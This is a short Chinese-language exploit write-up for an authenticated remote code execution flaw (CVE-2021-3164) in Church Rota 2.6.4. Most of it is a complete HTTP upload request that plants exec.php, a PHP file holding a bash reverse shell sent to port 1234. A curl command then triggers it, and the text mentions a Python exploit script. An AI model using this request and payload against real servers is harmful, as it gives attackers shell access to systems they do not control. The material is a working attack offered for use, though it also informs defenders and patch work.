Church Rota 版本 2.6.4 存在已认证的远程代码执行漏洞。用户无需拥有文件上传权限即可上传并执行任意文件。
登录 Church Rota 后,发送以下请求,将 PHPSESSID 替换为实际值:
POST /resources.php?action=newsent HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------78920178725041013532564196488
Content-Length: 571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/resources.php?action=new
Cookie: PHPSESSID=ivaa0ck3snt9ajlm0od9d7lh4j
Upgrade-Insecure-Requests: 1
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcename"
exec
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcefile"; filename="exec.php"
Content-Type: text/plain
<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/127.0.0.1/1234 0>&1'");
?>
-----------------------------78920178725041013532564196488
Content-Disposition: form-data; name="resourcedescription"
<p>text file upload</p>
-----------------------------78920178725041013532564196488--
然后可以通过以下方式执行该文件:
curl localhost:80/documents/exec.php
或者在 Web 界面中点击“resources”下的该文件。
或者只需使用 pip 安装 pwntools 和 requests,然后设置并运行提供的 cve-2021-3164.py 利用脚本。